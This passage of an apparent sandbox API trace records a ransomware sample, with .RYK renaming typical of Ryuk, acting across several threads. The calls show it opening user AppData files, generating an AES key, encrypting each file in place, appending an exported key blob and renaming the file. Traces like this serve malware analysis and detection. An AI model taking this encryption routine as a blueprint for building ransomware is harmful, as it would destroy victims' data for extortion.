	id = 2405
	os_tid = 0x2b00

	[0219.344] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT", dwFileAttributes=0x80) returned 0
	[0219.345] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.345] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.346] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\GDIPFONTCACHEV1.DAT.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\gdipfontcachev1.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2406
	os_tid = 0x2b04

	[0219.368] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat", dwFileAttributes=0x80) returned 1
	[0219.369] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.369] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.369] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\index.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2407
	os_tid = 0x2b08

	[0219.868] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat", dwFileAttributes=0x80) returned 1
	[0219.870] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0
	[0219.871] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x8fafad8 | out: lpFileSize=0x8fafad8*=32768) returned 1
	[0219.871] GetFileSizeEx (in: hFile=0x6d0, lpFileSize=0x8fafae8 | out: lpFileSize=0x8fafae8*=32768) returned 1
	[0219.871] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x7ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0219.871] ReadFile (in: hFile=0x6d0, lpBuffer=0x8fafb30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8fafaa0, lpOverlapped=0x0 | out: lpBuffer=0x8fafb30*, lpNumberOfBytesRead=0x8fafaa0*=0x19, lpOverlapped=0x0) returned 1
	[0219.885] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0219.885] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8fafab8 | out: phKey=0x8fafab8*=0x2b9140) returned 1
	[0219.886] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0219.886] ReadFile (in: hFile=0x6d0, lpBuffer=0x2f90000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x8fafac4, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesRead=0x8fafac4*=0x8000, lpOverlapped=0x0) returned 1
	[0219.896] CryptEncrypt (in: hKey=0x2b9140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8fafac0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8fafac0*=0xf4250) returned 1
	[0219.897] CryptEncrypt (in: hKey=0x2b9140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f90000*, pdwDataLen=0x8fafac8*=0x8000, dwBufLen=0xf4250 | out: pbData=0x2f90000*, pdwDataLen=0x8fafac8*=0x8010) returned 1
	[0219.898] SetFilePointer (in: hFile=0x6d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0219.898] WriteFile (in: hFile=0x6d0, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x8010, lpNumberOfBytesWritten=0x8fafac4, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x8fafac4*=0x8010, lpOverlapped=0x0) returned 1
	[0219.901] WriteFile (in: hFile=0x6d0, lpBuffer=0x8fafaf0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8fafad0, lpOverlapped=0x0 | out: lpBuffer=0x8fafaf0*, lpNumberOfBytesWritten=0x8fafad0*=0x6, lpOverlapped=0x0) returned 1
	[0219.901] CryptExportKey (in: hKey=0x2b9140, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8fafae0 | out: pbData=0x0*, pdwDataLen=0x8fafae0*=0x10c) returned 1
	[0219.901] CryptExportKey (in: hKey=0x2b9140, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8fafb50, pdwDataLen=0x8fafae0 | out: pbData=0x8fafb50*, pdwDataLen=0x8fafae0*=0x10c) returned 1
	[0219.902] WriteFile (in: hFile=0x6d0, lpBuffer=0x8fafb50*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8fafad0, lpOverlapped=0x0 | out: lpBuffer=0x8fafb50*, lpNumberOfBytesWritten=0x8fafad0*=0x10c, lpOverlapped=0x0) returned 1
	[0219.902] CloseHandle (hObject=0x6d0) returned 1
	[0219.916] CryptDestroyKey (hKey=0x2b9140) returned 1
	[0219.916] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\index.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2436
	os_tid = 0x2b84

	[0219.881] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db", dwFileAttributes=0x80) returned 0
	[0219.882] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.882] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.882] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\IconCache.db.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\iconcache.db.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2461
	os_tid = 0x2be8

	[0222.557] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms", dwFileAttributes=0x80) returned 1
	[0222.569] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\feedsstore.feedsdb-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6f4
	[0222.569] GetFileSizeEx (in: hFile=0x6f4, lpFileSize=0x8d6f978 | out: lpFileSize=0x8d6f978*=6656) returned 1
	[0222.569] GetFileSizeEx (in: hFile=0x6f4, lpFileSize=0x8d6f988 | out: lpFileSize=0x8d6f988*=6656) returned 1
	[0222.570] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x18de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0222.570] ReadFile (in: hFile=0x6f4, lpBuffer=0x8d6f9d0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d6f940, lpOverlapped=0x0 | out: lpBuffer=0x8d6f9d0*, lpNumberOfBytesRead=0x8d6f940*=0x19, lpOverlapped=0x0) returned 1
	[0222.584] SetFilePointer (in: hFile=0x6f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0222.584] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8d6f958 | out: phKey=0x8d6f958*=0x2b9140) returned 1
	[0222.584] SetFilePointer (in: hFile=0x6f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0222.584] ReadFile (in: hFile=0x6f4, lpBuffer=0x2690000, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x8d6f964, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8d6f964*=0x1a00, lpOverlapped=0x0) returned 1
	[0222.592] CryptEncrypt (in: hKey=0x2b9140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8d6f960*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8d6f960*=0xf4250) returned 1
	[0222.592] CryptEncrypt (in: hKey=0x2b9140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8d6f968*=0x1a00, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x8d6f968*=0x1a10) returned 1
	[0222.593] SetFilePointer (in: hFile=0x6f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0222.593] WriteFile (in: hFile=0x6f4, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0x1a10, lpNumberOfBytesWritten=0x8d6f964, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8d6f964*=0x1a10, lpOverlapped=0x0) returned 1
	[0222.593] WriteFile (in: hFile=0x6f4, lpBuffer=0x8d6f990*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8d6f970, lpOverlapped=0x0 | out: lpBuffer=0x8d6f990*, lpNumberOfBytesWritten=0x8d6f970*=0x6, lpOverlapped=0x0) returned 1
	[0222.593] CryptExportKey (in: hKey=0x2b9140, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8d6f980 | out: pbData=0x0*, pdwDataLen=0x8d6f980*=0x10c) returned 1
	[0222.593] CryptExportKey (in: hKey=0x2b9140, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8d6f9f0, pdwDataLen=0x8d6f980 | out: pbData=0x8d6f9f0*, pdwDataLen=0x8d6f980*=0x10c) returned 1
	[0222.593] WriteFile (in: hFile=0x6f4, lpBuffer=0x8d6f9f0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8d6f970, lpOverlapped=0x0 | out: lpBuffer=0x8d6f9f0*, lpNumberOfBytesWritten=0x8d6f970*=0x10c, lpOverlapped=0x0) returned 1
	[0222.594] CloseHandle (hObject=0x6f4) returned 1
	[0222.647] CryptDestroyKey (hKey=0x2b9140) returned 1
	[0222.647] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\feedsstore.feedsdb-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\feedsstore.feedsdb-ms.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2462
	os_tid = 0x2bec

	[0222.566] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms", dwFileAttributes=0x80) returned 0
	[0222.566] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.567] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.567] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2463
	os_tid = 0x2bf0

	[0222.582] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms", dwFileAttributes=0x80) returned 0
	[0222.582] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.582] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.582] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Work~.feed-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\microsoft at work~.feed-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2464
	os_tid = 0x2bf4

	[0222.590] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms", dwFileAttributes=0x80) returned 0
	[0222.590] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0222.591] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0222.591] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2484
	os_tid = 0x2c34

	[0223.542] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]", dwFileAttributes=0x80) returned 1
	[0223.581] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x700
	[0223.582] GetFileSizeEx (in: hFile=0x700, lpFileSize=0x900fab8 | out: lpFileSize=0x900fab8*=0) returned 1
	[0223.582] GetFileSizeEx (in: hFile=0x700, lpFileSize=0x900fac8 | out: lpFileSize=0x900fac8*=0) returned 1
	[0223.582] CloseHandle (hObject=0x700) returned 1
	[0223.582] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1]"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1].ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2485
	os_tid = 0x2c38

	[0223.842] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]", dwFileAttributes=0x80) returned 1
	[0223.846] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x704
	[0223.847] GetFileSizeEx (in: hFile=0x704, lpFileSize=0x933fa98 | out: lpFileSize=0x933fa98*=0) returned 1
	[0223.847] GetFileSizeEx (in: hFile=0x704, lpFileSize=0x933faa8 | out: lpFileSize=0x933faa8*=0) returned 1
	[0223.847] CloseHandle (hObject=0x704) returned 1
	[0223.847] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1]"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1].RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1].ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2486
	os_tid = 0x2c3c

